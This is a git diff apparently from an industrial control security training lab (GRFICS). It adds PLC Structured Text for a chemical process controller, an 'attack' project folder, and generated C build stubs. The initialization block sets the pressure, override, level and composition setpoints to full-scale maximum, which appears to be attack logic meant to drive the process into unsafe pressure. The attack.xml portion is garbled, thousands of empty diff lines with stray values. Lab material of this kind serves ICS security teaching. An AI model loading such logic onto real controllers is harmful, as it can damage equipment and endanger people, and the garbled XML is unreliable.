+ VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o 